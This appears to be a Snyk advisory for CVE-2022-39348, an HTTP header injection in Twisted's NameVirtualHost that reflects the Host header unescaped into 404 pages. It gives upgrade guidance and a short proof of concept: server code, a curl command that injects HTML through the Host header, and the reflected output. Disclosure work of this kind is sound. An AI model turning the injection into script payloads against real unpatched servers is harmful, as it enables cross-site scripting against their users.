HTTP Header Injection Affecting twisted package, versions [,22.10.0rc1)
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Test your applications- Snyk ID SNYK-PYTHON-TWISTED-3084923
- published 27 Oct 2022
- disclosed 26 Oct 2022
- credit Unknown
Introduced: 26 Oct 2022
CVE-2022-39348 Open this link in a new tabHow to fix?
Upgrade Twisted to version 22.10.0rc1 or higher.
Overview
Twisted is an event-based network programming and multi-protocol integration framework.
Affected versions of this package are vulnerable to HTTP Header Injection via the NameVirtualHost function. When the host header does not match a configured host, twisted.web.vhost.NameVirtualHost will return a NoResource resource which renders the Host header unescaped into the 404 response allowing HTML and script injection.
PoC:
from twisted.web.server import Site
from twisted.web.vhost import NameVirtualHost
from twisted.internet import reactor
resource = NameVirtualHost()
site = Site(resource)
reactor.listenTCP(8080, site)
reactor.run()
Output:
❯ curl -H"Host:<h1>HELLO THERE</h1>" http://localhost:8080/
<html>
<head><title>404 - No Such Resource</title></head>
<body>
<h1>No Such Resource</h1>
<p>host b'<h1>hello there</h1>' not in vhost map</p>
</body>
</html>